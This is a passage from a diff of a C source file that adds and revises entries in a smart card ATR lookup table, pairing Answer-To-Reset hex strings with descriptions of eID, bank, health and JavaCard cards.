(eID)\nhttps://www.idemia.com/id-one-piv-card" }, { "3BD81800801F078031C1640806920F", "US Government CAC (PKI) / IDEMIA Cosmo v8 (PKI)\nhttps://www.idemia.com/id-one-piv-card" }, { "3BD81800801F078031C1640806920FDF", "US DoD Common Access Card (IDEMIA Cosmo v8) (PKI)" }, { "3BD8180080B1FE451F078031C1640806920FD5", "Oberthur Cosmo v8 (PKI)" }, @@ -3376,6 +3652,7 @@ const static atr_t AtrTable[] = { { "3BDB18FFC080B1FE751F035A43372E352052455620426C", "BasicCard ZC7.5 dual-interface programmable smartcard (30K) (eID)\nhttps://secure.zeitcontrol.de/shop/Smart-card-BasicCard-Professional-ZC75-Combi" }, { "3BDB18FFC080B1FE751F035A43372E352052455620446A", "Smart card BasicCard Professional ZC7.5, ZeitControl cardsystems GmbH\nhttp://www.zeitcontrol.de/en/products/chip-cards/processor-chip-cards/basiccard" }, { "3BDB18FFC080B1FE751F035A43372E3620524556204469", "ZeitControl BasicCard 7.6 (Other)\nhttps://www.zeitcontrol.de/en/products/basiccard/basiccard" }, + { "3BDB96004010004F535F335F3134059000", "Vehicle identity card for Iran (eID)" }, { "3BDB9600801F030031C06477E30300829000C1", "Oberthur Card Systems (contactless pilot) ID-One Cosmo v5.2D 64K\nOberthur Card Systems (PIV Transitional) ID-One Cosmo v5.2D 72K\nCAC (Common Access Card)" }, { "3BDB9600801F030031C064B0F3100007900080", "DoD CAC, Oberthur ID One 128 v5.5 Dual" }, { "3BDB9600801F030031C064B0F310000F900088", "US Department of Veterans Affairs PIV" }, @@ -3398,16 +3675,19 @@ const static atr_t AtrTable[] = { { "3BDB960080B1FE451F830031C164084022300F90000A", "Oberthur v7 - in a Gemalto (was Gemplus) GemPC Key SmartCard Reader (grey USB dongle) - bought at ChamberSign (PKI)" }, { "3BDB960080B1FE451F830031E85427E6040007900084", "Polish encard (eID)" }, { "3BDB960080B1FE451F830031E85427E604000F90008C", "Token card from iBRE CompanyNet (mbank) (Bank)" }, + { "3BDB960080B1FE451F830031E85427E6050007900085", "Polish qualified signature card by CenCert (Other)\nhttps://www.cencert.pl/produkt/podpis-elektroniczny-kwalifikowany-na-karcie-2024/" }, { "3BDB960080B1FE451F834553544F4E49412D65494455", "Estonian Identity Card (ID-One Cosmo v8.1) (eID)" }, { "3BDB960080B1FE451F870031C1640958223607900019", "Idemia Solvo Fly 40 (JavaCard)" }, { "3BDB960081B1FE451F0380F9A0000003080000100018", "Oberthur CS PIV End Point v1.08 FIPS201 Certified" }, { "3BDB960081B1FE451F0380F9A0000003480000000149", "Fly Clear card" }, + { "3BDB960081B1FE451F830031C064FC2910000190009B", "Sm@rtCafe Expert 7.0 (SCE7.0) SAM card (Transport)" }, { "3BDB960081B1FE451F8380F9A0000003080000100098", "Oberthur Cosmo v7 128K with PIV applet\nhttp://www.smartcardfocus.com/shop/ilp/id~410/p/index.shtml" }, { "3BDB96FF80B1FE451F870031C164093364490F9000BC", "cnie Carte Nationale d'Identite Electronique (eID)" }, { "3BDB96FF80B1FE451F870031C164093772130F9000F4", "French ID Card 2021 (eID)\nhttps://ants.gouv.fr/nos-missions/les-titres-produits-par-l-ants/les-documents-d-identite/la-puce-de-la-nouvelle-carte-nationale-didentite" }, { "3BDB96FF8131FE4580670534B50201064081051B", "SINA STARCOS 3.5 BX-CombiCard+HSB (Other)" }, { "3BDB96FFC01031FE4580671501B403000900810521", "Digital Tachograph Card for Professional Driver\nolish driver card for digital tachograph" }, { "3BDC1802C10A31FE588031A873B0019B2460071320AA", "Public Services Card | Ireland (Other)\nhttps://psc.gov.ie/" }, + { "3BDC18FF00001225006480000401009000", "Vitale card CPS V4 (Carte Profesionnel de Sante) (HealthCare)" }, { "3BDC18FF8011C18073C821136605036351000232", "GoTrust Idem Card (Other)\nhttps://www.gotrustid.com/idem-card" }, { "3BDC18FF8091FE1FC38073C8211366010B0352000539", "Digital Signature Costa Rica (eID)" }, { "3BDC18FF8091FE1FC38073C821136602040355000235", "ST security module for German smart meter gateway (JavaCard)\nhttps://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR03109/TR-03109-2-Anforderungen_an_die_Funktionalitaet.pdf?__blob=publicationFile&v=3" }, @@ -3422,8 +3702,10 @@ const static atr_t AtrTable[] = { { "3BDC18FF8191FE1FC38073C821136605024258000279", "NXP Athena SCS (PKI)" }, { "3BDC18FF8191FE1FC38073C821136605036057000255", "NXP IDProtect (X) (JavaCard)" }, { "3BDC18FF8191FE1FC38073C821136605036351000250", "JCOP3 SecID P60 CS (JavaCard)" }, + { "3BDC18FFC080B1FE751F035A43382E362052455620443657", "ZeitControl Professional Multi-Application BasicCard ZC8.6 (Other)\nhttps://www.zeitcontrol.de/Smart-card-BasicCard-Professional-ZC76" }, { "3BDC96FF8111FE8031C8544356300573FFA1C03B", "NXP Javacard with Athena SCS OS (JavaCard)" }, { "3BDC96FF8111FE8031C8544356350773FFA1C03C", "NXP JCOP 4, J3R200P0X3U/0ZA16CP NXD6.2 (JavaCard)" }, + { "3BDC96FF8191FE1FC38073C8211366050363510002DE", "Montenegro eID (eID)" }, { "3BDC96FF81B1FE431FC30B46415245474F53414D5632CC", "Multismartcard SAM (used in proprietary Scheidt&Bachmann Smartcard Reader v2)" }, { "3BDD18008131FE4580F9A0000000770100700A90008B", "National ID Card of Peru issued by RENIEC from Oberthur" }, { "3BDD18008131FE4580F9A000000077010800079000FE", "Oberthur Cosmo v7 IAS ECC\nBrazilian 'e-CNPJ' card, issued by Certisign (Oberthur)" }, @@ -3431,6 +3713,7 @@ const static atr_t AtrTable[] = { { "3BDD18008191FE1FC3006646530803003671DF00008097", "Feitian K9Plus - ePass FIDO-NFC with PIV (Other)\nhttps://ftsafe.com/products/FIDO/NFC" }, { "3BDD18FF8191FE1FC3006646530803003671DF00008068", "Feitian FIDO NFC Plus K9 Security Key (Other)\nhttps://www.ftsafe.com/products/FIDO/NFC" }, { "3BDD18FF8191FE1FC3FF4F70656E506879736963616CF6", "Open Physical PIV-Compatible NXP SECID P60 (eID)\nhttps://openphysical.org/" }, + { "3BDD18FF81B1FE451FC39E414B442D43657274696C6961BD", "Certilia Gen2 Card (eID)\nhttps://www.certilia.com/" }, { "3BDD18FFC080B1FE451FC30068D276000028040411009000C9", "Russian Federation driver card for the digital tachograph\nPolish driver card for digital tachograph" }, { "3BDD18FFC080B1FE451FC30068D276000028040971009000A4", "Worktime/driving style monitoring card (Transport)\nhttp://www.paetronics.fi/en/" }, { "3BDD96008010FE8031806301FFC073B3211B8105", "BIFIT iBank 2 USB Key (Bank)\nhttp://bifit.ua" }, @@ -3470,6 +3753,7 @@ const static atr_t AtrTable[] = { { "3BDF1801C04031FC7580738421E0694D54434F537302050516", "German digital tachograph control card (Transport)" }, { "3BDF18FF8091FE1FC3003138644790ECC273140150829000BB", "Ministry of Interior - France 'Agent Card' (Other)" }, { "3BDF18FF8131FE4580590180484944433730307300011B33", "Crescendo C700 + MiFare 4K\nhttp://www.smartcardfocus.com/shop/ilp/id~265/p/index.shtml" }, + { "3BDF18FF8131FE458073C8211059B81D417574684B6579BA", "Arculus AuthentiKey (Other)" }, { "3BDF18FF8191FE1FC3003138644790ECC273140150829000BA", "Card store authentication and signature keys (JavaCard)\nhttps://ants.gouv.fr/Les-titres/Cartes-Agents/Adhesion/Telechargement-et-support" }, { "3BDF18FF8191FE1FC30031B8640000EC0073940000829000FE", "NXP Jcop3 P60 ChipDoc v7b4 (JavaCard)\nhttps://www.javacardos.com/store/products/10029" }, { "3BDF18FF8191FE1FC30031B86404216010739401C005900001", "Dutch Governement Identity Card using physical (eID)\nhttps://nl.wikipedia.org/wiki/Rijkspas" }, @@ -3493,8 +3777,12 @@ const static atr_t AtrTable[] = { { "3BDF960080B1FE451F838073BC9180F9A00000007780080201A4", "Latvian eSignature card (eID)\nhttps://www.lvrtc.lv/e-signature.html" }, { "3BDF960080B1FE451F870031C16408923201738421E0059000C5", "Company Card for Transport companies (Transport)" }, { "3BDF96008131FE4541434F532D4944303032382E3031366F", "Sri Lankan driving license [ web: motortraffic.gov.lk ] (eID)\nhttp://www.motortraffic.gov.lk/web/index.php?option=com_content&view=article&id=83&Itemid=140&lang=en" }, + { "3BDF96008131FE4580738421E0554978000080830F90000C", "Idemia Cosmo X (eID)\nhttps://cyber.gouv.fr/sites/default/files/2021/08/anssi-cible-cc-2021_36n.pdf" }, + { "3BDF96008131FE4580738421E05569780000808307900024", "Romanian Electronic Identity Card (eID)" }, + { "3BDF96008131FE4580738421E0556978540001830F9000F9", "National ID Card of Peru issued by RENIEC (eID)\nhttps://identidad.reniec.gob.pe/dni-electronico" }, { "3BDF96008131FE588031B05202056405A100AC73D622C020", "Austrian health insurance card 'e-card' (HealthCare)\nhttps://de.wikipedia.org/wiki/E-card_(Chipkarte)" }, { "3BDF960081B1FE451F838073CC91CBF9A0000003080000100079", "Test PIV Cards available for sale from NIST\nhttp://csrc.nist.gov/groups/SNS/piv/testcards.html" }, + { "3BDF960090103F07008031E0677377696363000073FE210006", "swsim card (Telecommunication)" }, { "3BDF960090103F07008031E0677377696363000073FE2100DC", "swsim (Telecommunication)" }, { "3BDF96FF8131FE455A018048494443313158587300011B09", "HID Crescendo iCLASS Px G8H" }, { "3BDF96FF8131FE4580590180504956434C41537300011BDE", "HID Global pivCLASS v1.0 (PKI)\nhttp://www.hidglobal.com/products/cards-and-credentials/pivclass/pivclass-smart-card" }, @@ -3502,6 +3790,9 @@ const static atr_t AtrTable[] = { { "3BDF96FF8131FE45805B44452E424E4F544B3130308105A0", "BeA - Certification Card for German Solicitors (Other)\nhttps://bea.bnotk.de/" }, { "3BDF96FF81B1FE451F870031B96409377213738401E000000000", "National Identity Card of Slovakia (eID) (eID)\nhttps://en.wikipedia.org/wiki/Slovak_identity_card" }, { "3BDF96FF910131FE4680319052410264050200AC73D622C017", "Acos-ID (AUSTRIACARD's Operating System) (Other)\nhttps://www.austriacard.com/digital-security/solutions/card-solutions/acos-id/" }, + { "3BDF97008131FE4541434F5300030001020001010001015D", "Academic ID (Other)\nhttps://submit-academicid.minedu.gov.gr/" }, + { "3BDF97008131FE4680319052410364050201AC73D622C0F8", "A-Trust ACOS-ID v3 (AustriaCard Operating System), used for Austrian RKSV fiscal signature cards (Other)\nhttps://github.com/A-Trust/RKSV" }, + { "3BDF97008131FE4680319052410464050401AC73D622C0F9", "A-Trust ACOS-ID v4.1 (AustriaCard Operating System), used for Austrian RKSV fiscal signature cards (Other)\nhttps://github.com/A-Trust/RKSV" }, { "3BDF97008131FE588031B05202056405A100AC73D622C021", "Austrian healthcare insurance identification card (HealthCare)\nhttps://www.chipkarte.at" }, { "3BDF970081B1FE451F838073CC91CBF9A0000003080000100078", "NASA PIV Card (Other)" }, { "3BE000008131104505", "Emoney indonesia (Bank)" }, @@ -3513,6 +3804,7 @@ const static atr_t AtrTable[] = { { "3BE2000040204907", "Schlumberger Cryptoflex Key Generation" }, { "3BE200FFC11031FE55C8029C", "Aladdin eToken PRO (USB token)\nSiemens CardOS M4.0" }, { "3BE300FF9181712644000113202D", "Metrebus Card\n(used in Rome to store personal information and Atac subscription.\nAtac is the public transport company of the city of Rome.)\nhttp://www.atac.roma.it/smart/smart.asp?A=2&S=22&PR=4&LNG=2" }, + { "3BE400008121459C1000800D", "JCP2040 (JavaCard)" }, { "3BE500008121459C100100800D", "BIN 470132 -- BANK OF AMERICA VISA DEBIT -- GEMALTO MGY 0 U1090788B - 12/14 F8 00 89 (Bank)" }, { "3BE500008131FE45D00037008089", "ATM card for Standard Chartered, Taiwan" }, { "3BE500FF8131FE458073C601082D", "MUFG (.jp) (Bank)" }, @@ -3527,6 +3819,7 @@ const static atr_t AtrTable[] = { { "3BE600FF8131FE454A434F50323107", "IBM JCOP ID21" }, { "3BE600FF8131FE454A434F50333007", "Mifare ProX T=1" }, { "3BE600FF8131FE454A434F50333106", "IBM JCOP 30/31bio (contact interface)" }, + { "3BE600FF8131FE4580640C7000008A", "AEON Credit Card (Bank)\nhttps://www.aeon.co.jp/card/lineup/" }, { "3BE700008131FE4200639531059000B9", "Chunghwa Post Co., Ltd. Visa Debit Card (Bank)\nhttp://www.post.gov.tw/post/internet/U_english/index.jsp?ID=24030107" }, { "3BE70000918131FE410110300100908049", "'FirmenTicket' from the 'Rheinbahn' for the 'VRR'\nits a ticket corporates can buy for their employees. so its called\n'FirmenTicket'. 'Rheinbahn' is the local service operator for the\nmass traffic in and around duesseldorf/germany. 'VRR' is traffic\nnetwork spanning over at least a big part of north rhine westphalia\n(Verkehrsverbund Rhein-Ruhr)\nhttp://www.vrr.de/de/tickets_und_tarife/vielfahrer/firmenticket/index.php" }, { "3BE700FF8131FE454430382E30203657", "EMV (MasterCard) card, issued by Raiffeisen Bank in Russia\n'Deutsche Kreditbank AG' Visa Card produced by AustriaCard GNC\nAll cards (MasterCard, Maestro, VISA Electron) issued by Raiffeisen Bank in Romania\nEMV (MasterCard) Card, issued by Raiffeisen Bank in Czech Republic" }, @@ -3542,6 +3835,7 @@ const static atr_t AtrTable[] = { { "3BE800008131FE450073C8400000900088", "VISA Card (Skandinaviska Enskilda Banken) with Swedish BankID\nVISA card (Chinatrust Bank (Taiwan), dual-interface card with a Taipei Metro e-purse function)" }, { "3BE800008131FE454A434F50763234....", "NXP JCOP v2.4.x (see hist bytes for more info)" }, { "3BE800008131FE454A434F5076323431B4", "VISA Debit card for NAB, Australia" }, + { "3BE800FF8131FE41534C4A01305023101F", "Cashapp Card - WIP arduino apdu interface (Bank)" }, { "3BE800FF8131FE43AA00000000000000B0", "Secure Signing Token (eID)" }, { "3BE800FF8131FE45434C6169726520361A", "DKB Visa card with PayWave" }, { "3BE90000812145454D565F41545220066C", "VISA card, issued by HVB Bank Czech Republic or austrian BankAustria\nhttp://www.hvb.cz" }, @@ -3549,6 +3843,7 @@ const static atr_t AtrTable[] = { { "3BE900008121455649535F494E46200678", "VISA card, issued by the Austrian 'Raiffeisen' bank\nhttp://www.raiffeisen.at/\nVisa Card - Maximum - Oyak Bank / Turkey\nVISA, issued by Austrian bank 'Erste Bank'\nVISA card, issued by the Latvian bank 'Latvijas Krajbanka'" }, { "3BE900008131C345996374691999125610EC", "Compunicate Technologies Inc. (Pay TV)\nhttp://www.cti.com.cn/en/product.aspx?m=20140731165252850216" }, { "3BE900008131FE00FF506572736F53696D54", "German PersoSim (eID)\nhttps://persosim.secunet.com/en/" }, + { "3BE900008131FE4541434F534A76323034F6", "ACS ACOSJ-DI 95K (in T=1 mode) (JavaCard)" }, { "3BE900008131FE4543443169A90000000014", "Mastercard credit card, UBS Switzerland (Bank)" }, { "3BE900008131FE45434432690900000000B7", "Swiss UBS MasterCard Creditcard" }, { "3BE900008131FE45454D5620303320200699", "Visa credit card\nMasterCard credit card" }, @@ -3590,6 +3885,7 @@ const static atr_t AtrTable[] = { { "3BED00008131FE450031C071C6644D3533560F900046", "Kostadin (Bank)" }, { "3BED00008131FE450031C071C6644D35354D0F9000", "ING Credit Card (Bank)\nhttps://www.ing.nl/particulier/betalen/creditcards/index.html" }, { "3BED00FF813120754D424320534D502056312E3130BD", "Used to Control a Laser Device" }, + { "3BEE00008131804180318066B0840C016E01830090008D", "CTBC Bank Co., Ltd. debit VISA card (Bank)\nhttps://www.ctbcbank.com/twrbo/zh_tw/cc_index/cc_product/cc_debitcard_index.html" }, { "3BEE00008131804280318066B0840C016E01830090008E", "MultiApp Cards (Easy 72K Type B and Combi 72K Type B)\nE.SUN Commercial bank debit master card (Bank)\nTaiwan EasyCard (Transport)\nhttps://www.easycard.com.tw/english/index.asp" }, { "3BEE00008131804380318066B1A1110100F683009000", "Optelio/Desineo Cards (D72 FXR1)" }, { "3BEE00008131804380318066B1A11101A0F683009000", "Optelio D72 FXR1 (MD) T=1" }, @@ -3613,6 +3909,8 @@ const static atr_t AtrTable[] = { { "3BEF00008131FE45436F6D624F53205620202020202000AD", "Corporate Credit Card - SIEMENS MasterCard issued by Degussa Bank (Bank)" }, { "3BEF00008131FE45436F6D624F53205649202020202000C4", "VfB Stuttgart Fankarte (pay card for the football stadium of the german club VfB Stuttgart)" }, { "3BEF00008131FE45444C415A46545632444944313030FF06", "Lufthansa ID Card (eID)" }, + { "3BEF00008131FE45455041000000008891027200000000D9", "Raiffeisenbank Austria (Raffeisen Club) Maestro debit card (Bank)" }, + { "3BEF00008131FE45455041000000010130622200000000C0", "Raiffeisenbank Austria (Raffeisen Club) Maestro debit card (Bank)" }, { "3BEF00008131FE4546494F4D4B5F3030312030313041009C", "MasterCard/PayPass Card issued by Czech FIO Banka a.s. (contact chip)\nnote the ASCII string ' FIOMK_001 010A' embedded in ATR" }, { "3BEF00008131FE65005C504353D19147D276000038330070", "Siemens/Infineon Sicrypt S26381-F252-V1 GS:03" }, { "3BEF00008131FE67005C49434DDBC97ED27600003833001E", "Infineon SICRYPT CardModule Card" }, @@ -3636,9 +3934,11 @@ const static atr_t AtrTable[] = { { "3BEF00FF813166456563202049424D20332E3120202020", "IBM eCash" }, { "3BEF00FF813166456563202049424D20332E3120202020CF", "IBM eCash" }, { "3BEF00FF8131864549424D204D4643343030303038333143", "ComCard MFC 4.1" }, + { "3BEF00FF8131FE4065631D038602500023151131280110FD", "DKB Banking Card (EC-Karte 2023) (Bank)\nhttps://www.dkb.de/" }, { "3BEF00FF8131FE4141434F532046696F6E6131204C633666", "EUROBANK GR (Bank)\nNBG BANK (Bank)" }, { "3BEF00FF8131FE4541434F53204449616E6131204C63364E", "comdirect VISA card (Bank)\nhttps://www.comdirect.de/konto/karten.html#Visa-Karte" }, { "3BEF00FF8131FE4541434F53204449616E6132204C63364D", "Alior Bank SA (Bank)\nhttps://www.aliorbank.pl/" }, + { "3BEF00FF8131FE45656306087102500023B8105BA0471116", "DKB Banking Card (EC-Karte 2020) (Bank)" }, { "3BEF00FF8131FE4565630D12810156001F00006686080122", "Commerzbank signature card SECCOS (6 or 7) providing RAH security profile (Bank)\nhttps://www.chipkartenleser-shop.de/commerzbank/electronic-banking-chipkarten/commerzbank-signaturkarte-2710050006" }, { "3BEF00FF8131FE4565631104010280000F274000030100E1", "Postbank Geldkarte" }, { "3BEF00FF8131FE4565631104010280000F462004230100C4", "Postbank ec/Maestro (Germany)" }, @@ -3678,6 +3978,7 @@ const static atr_t AtrTable[] = { { "3BEF00FF8131FE456563111562025000100A002EFC0720C6", "maestro BankCard (Bank)" }, { "3BEF00FF8131FE456563111562025000100A09AC030720B2", "Girocard Sparkasse Darmstadt (Bank)" }, { "3BEF00FF8131FE4565631901620280000F003500420620BB", "Credit card (Germany, Postbank AG): VISA" }, + { "3BEF00FF8131FE4565631D028401560024140B60E401016E", "EthikBank Giro Card (Bank)\nhttps://www.ethikbank.de/privatkunden/konten-karten/karten-zum-konto/girocard" }, { "3BEF00FF8131FE4565631D0284025000230509A0D9010182", "Debit card (Bank)" }, { "3BEF00FF8131FE4565631D028402500023180920E7010121", "Deutsche Kreditbank AG (DKB AG) bank card (Bank)\nhttps://www.dkb.de/info/tan-verfahren/chipTAN/" }, { "3BEF00FF8131FE458031C06B49424D204A65745A204D3239", "UBS Internet Card (IBM JetZ M2)" }, @@ -3700,11 +4001,14 @@ const static atr_t AtrTable[] = { { "3BF29800FFC11031FE55C80315", "Siemens CardOS M 4.01 (SLE66CX320P)" }, { "3BF29800FFC11031FE55C80412", "CardOS M4.01a (SLE66CX322P)" }, { "3BF39600FFC00A31FE4D8031E083", "MARX Cryptoken (supported by RaakSign)" }, + { "3BF41300008131FE45004E0000A2", "Japanese HPKI card (PKI)\nhttps://www.medis.or.jp/8_hpki/index.html" }, { "3BF41300008131FE4552465A4FED", "Serbian Health Care electronic card (HealthCare)\nhttp://www.rfzo.rs/index.php/osiguranalica/ekartica" }, { "3BF4180002C10A31FE5856346376C5", "Eutron CryptoIdentity (reader + card token)" }, { "3BF41800FF8131805500318000C7", "Identity card of Italian Republic" }, { "3BF49800FFC11031FE554D346376B4", "Eutron Digipass 860 (reader + card token)" }, + { "3BF513000010002063CB12C1", "CB Master Carte du Credit Mutuel (Bank)" }, { "3BF51300008131FE4573746431308F", "card for NF-e in Brazil (PKI)\nhttps://certificadodigital.imprensaoficial.com.br/certificados-digitais/e-cnpj/a3/e-cnpj-a3-cartao" }, + { "3BF51320060E49424D0101B3", "User Identity card for TeleGuide, a Swedish terminal from the 90's similar to the French minitel. (eID)" }, { "3BF51800008131FE454D794549449A", "Aventra ActiveSecurity MyEID\nhttp://www.aventra.fi/pdf/ActiveSecurity%20MyEID%20Tokens%20white%20paper%20(2p)%20EN.pdf" }, { "3BF518000210804F73454944", "Atmega 128 microcontroller based open source EID smartcard with RSA and ECC. (eID)\nhttps://oseid.sourceforge.io/" }, { "3BF57100FFFE2400011E0F3339320103", "Mydo IC Card from Japan, based on NTTDATA CARD (Loyalty)\nhttps://www.idemitsu.com/company/history/13.html" }, @@ -3714,10 +4018,12 @@ const static atr_t AtrTable[] = { { "3BF59100FF918171FE400041180000001D", "Contactless Mifare 4k" }, { "3BF59100FF918171FE400041880000008D", "Contactless Mifare 1k or 4k" }, { "3BF59100FF918171FE4000420001008186", "American Express Blue RFID" }, - { "3BF59100FF918171FE400042000100D1D6", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nMy Number Card (The Social Security and Tax Number System in JAPAN) (eID)\nhttps://www.cao.go.jp/bangouseido/" }, + { "3BF59100FF918171FE400042000100D1D6", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nJapanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en/" }, { "3BF59100FF918171FE400042000177D1A1", "German Passport (ePass) (issued May 2008)" }, - { "3BF59100FF918171FE4000420001B3A115", "Individual Number Card (eID)\nhttps://www.kojinbango-card.go.jp/" }, + { "3BF59100FF918171FE4000420001B3A115", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nJapanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en" }, { "3BF59600008.31FE454D794549441.", "MyEID card (Infineon chip) (PKI)\nhttps://services.aventra.fi/English/products_MyEID_E.php" }, + { "3BF61300FF1080434849503232", "PostFinance debit (Bank)\nhttps://www.postfinance.ch" }, + { "3BF61300FF910131FE4080640F7000009E", "JA Bank Cash Card (Bank)\nhttps://www.jabank.org/" }, { "3BF61800FF8131FE454A32413038301B", "NXP J2A080 - 80K (blank)\nhttp://www.classic.nxp.com/acrobat_download2/literature/9397/75016728.pdf" }, { "3BF61800FF8131FE454A434F5032300E", "IBM JCOP20" }, { "3BF61800FF8131FE454A434F5033300F", "Philips P8RF5016 running IBM JCOP 30 (contact interface)" }, @@ -3753,6 +4059,7 @@ const static atr_t AtrTable[] = { { "3BF718000081718042000063950A019000B0", "7-Eleven icash card, Taiwan" }, { "3BF79100FF918171FE40000A0260CF5104CB7F", "UK Metro Bank Mastercard Debit (Bank)\nhttps://www.metrobankonline.co.uk/" }, { "3BF79100FF918171FE40004120001177818040", "Contactless Mifare DESFire" }, + { "3BF8110000400A01654E434F533037", "eNCOS + MCA, MchipAdvance bundled with eNCOS (Bank)" }, { "3BF81100008171FE4200544E051900000002A1", "Taiwan EasyCard (Transport)\nhttps://www.easycard.com.tw/english/index.asp" }, { "3BF811200340FF0303030312109000", "Bar Ilan KesefCard from Bezeq (Other)\nhttps://halemo.net/web/www.aurora.co.il/english/c_kesefcard.html" }, { "3BF811200340FFFFFFFFFF12109000", "G&D (STARCOS SV 1.1)" }, @@ -3769,6 +4076,8 @@ const static atr_t AtrTable[] = { { "3BF81300008131FE45FF4A32413034300012", "MIDAS Card Diversification Key JavaCard (J2A040) (Bank)\nhttps://github.com/kategray/midas" }, { "3BF81300FF108053430663010F900000", "Affinity CUIA Debit (JavaCard)\nhttps://www.affinitycuia.org" }, { "3BF81300FF910131FE41534C4A01305023100D", "Walden Mutual Bank (Bank)\nhttps://www.waldenmutual.com/sustainable-bank-for-individuals#footnote-s0-4" }, + { "3BF81300FF910131FE41534C4A263123020168", "Chase Visa Debit (Bank)" }, + { "3BF81300FF910131FE41534C4A263123421F36", "Infineon SLJ26P (JavaCard)" }, { "3BF81800008031FE450073C8401300900092", "G&D StarSign Token" }, { "3BF81800008131FE450073C8400000900080", "NXP JCOP 31 V2.2 36K - S/C I/F" }, { "3BF81800008131FE450073C8401300900093", "Giesecke & Devrient Sm@rtCafe Expert 3.0" }, @@ -3798,6 +4107,8 @@ const static atr_t AtrTable[] = { { "3BF91800008131FE4550565F4A3244303831B6", "Taiwanese Health Professional Card(TW HPC) (HealthCare)\nhttps://hca.nat.gov.tw/Intro.aspx" }, { "3BF91800FF8131FE4550565F4A334130343040", "Yubico Yubikey NEO OTP+U2F+CCID (PKI)\nhttps://www.yubico.com/products/yubikey-hardware/yubikey-neo/" }, { "3BF91800FF8131FE4550565F4A33413038314D", "NXP JCOP J3A081 (JavaCard)\nhttps://secure.smartcardsource.com/j3a081m.html" }, + { "3BF99100FF9181714040000A80041E2E222C1490C2", "Mifare DESFIRE (Other)" }, + { "3BF99100FF91817140400041800431766A781690E0", "DESFIRE MIVARE EV2 (Other)" }, { "3BF99100FF9181714040004180045B89BAB352803A", "mifare desfire 2k (eID)" }, { "3BF99100FF918171FC40000A095161900058C290D2", "NFC PASS card (eID)" }, { "3BF99400008131FE6546542056313030900083", "ePass 2000" }, @@ -3816,6 +4127,7 @@ const static atr_t AtrTable[] = { { "3BF99800FFC11031FE554D4D20434D443131308F", "Service card of the Ministry of Defense of Italy - Navy" }, { "3BF99800FFC11031FE55504320434D443131309C", "Service card of the Ministry of Defense of Italy - Civil personnel" }, { "3BFA..00008131..438065A2........72D6....", "IDClassic 3XX Cards (with MPCOS Applet)" }, + { "3BFA00008131FE450031C173C840000090007A", "J3R150 EMV (JavaCard)\nhttp://www.gdrfid.com/" }, { "3BFA1100008131FE45436F6D624F5320495600E0", "MyWireCard 2go Prepaid VISA Card" }, { "3BFA110002406043C602F8030300009000", "DeLaRue DX(?)" }, { "3BFA1300008131FE15597562696B65794E454FA6", "Yubikey NEO" }, @@ -3829,7 +4141,9 @@ const static atr_t AtrTable[] = { { "3BFA1300008131FE454A434F5034315632333197", "JCOP41 /72K (eID)" }, { "3BFA1300008131FE454A434F50763234........", "NXP JCOP v2.4.x (see hist bytes for more info)" }, { "3BFA1300008131FE54A434F503233191", "Jcop (JavaCard)" }, + { "3BFA1300008171FE4200434F4946433256312E31AF", "Castles Technology Partner Self Signing Card (Other)" }, { "3BFA1300FF813180450031C173C00100009000B1", "OpenPGP" }, + { "3BFA1300FF918131FE478012392F31C073C7014907", "MITSUBISHI Standard-9M (PKI)\nhttps://www.mdis.co.jp/service/standard-9m/" }, { "3BFA1800008031FE45FE654944202F20504B4903", "Estonian Identity Card (EstEID v3.5 (10.2014) cold) (eID)\nhttp://id.ee/" }, { "3BFA1800008131FE4506082A841001876E0805BC", "Dutch Rijkspas (eID)" }, { "3BFA1800008131FE4506082A841001876E0807BE", "Rijkspas (identification card dutch government employees) (eID)\nhttps://nl.wikipedia.org/wiki/Rijkspas\nDutch government multifunctional smartcard (Other)\nhttps://nl.wikipedia.org/wiki/Rijkspas" }, @@ -3843,6 +4157,9 @@ const static atr_t AtrTable[] = { { "3BFA1800008131FE454D4F54494F4E0000900760", "SIM card (Telecommunication)" }, { "3BFA1800008131FE4550564A434F5033454D5694", "NXP JCOP3 J3H082 Java Card 3.0.4 Dual-Interface (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop3-j3h082-java-card-3-0-4-j3h081-dual-interface/" }, { "3BFA1800008131FE4550564A434F503453494493", "National Health Insurance (Taiwan) (HealthCare)" }, + { "3BFA1800008131FE45534C4A35324778787979FC", "National Health Insurance of Taiwan (HealthCare)\nhttps://www.nhi.gov.tw/" }, + { "3BFA180000910131FE454A33523138302D323535F5", "Cardlogix J3R180 NXP JCOP 4 Java Card 3.0.5 Classic Dual Interface (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop-4-java-card-3-0-5-classic/" }, + { "3BFA180000910131FE454A33523331302D333535FF", "NXP JCOP 4 Java Card 3.0.5 Classic (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop-4-java-card-3-0-5-classic/" }, { "3BFA180000910131FE4550564A434F503453494482", "Supposed P71 SecID purchased from a Chinese manufacturer (JavaCard)" }, { "3BFA180000910131FE456BD1936AC2F28547E164CC", "J3R180, NXP JCOP4 JC3.0.5 Classic, GP2.3, SECID (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop-4-java-card-3-0-5-classic/" }, { "3BFA180002C10A31FE584B53776973735369676E89", "SuisseId card (used for qualified signatures)\nhttp://postsuisseid.ch/de/suisseid\nhttp://www.suisseid.ch/" }, @@ -3863,12 +4180,19 @@ const static atr_t AtrTable[] = { { "3BFB1100FF81318055006802001010534941450004", "Italian Society of Authors and Publishers ticket and report signing smart card (PKI)\nhttps://www.siae.it/en/utilizzatori/other-services-stamps-certifications-data-and-statistics/automated-ticket-issuing-systems" }, { "3BFB1300008131FE454A434F50533.3.56323332..", "JCOP-Sxx/yy v2.3.2 (see hist bytes for more info)" }, { "3BFB1300008131FE456368617269736D6174657884", "Charismathics smart card JCOP and Qualified electronic signature CHJCOP-xxx (PKI)\nhttps://www.stampit.org/en/page/808" }, + { "3BFB1300FF10000031C164099511380F9000", "Mastercard World Elite (CapitalOne Venture) (Bank)\nhttps://www.mastercard.us/en-us/personal/find-a-card/world-elite-mastercard-credit.html" }, + { "3BFB1300FF10800031C16408603206079000", "America First Credit Union Visa Credit Card (Bank)\nhttps://www.americafirst.com/" }, { "3BFB1300FF10800031C164086032060F9000", 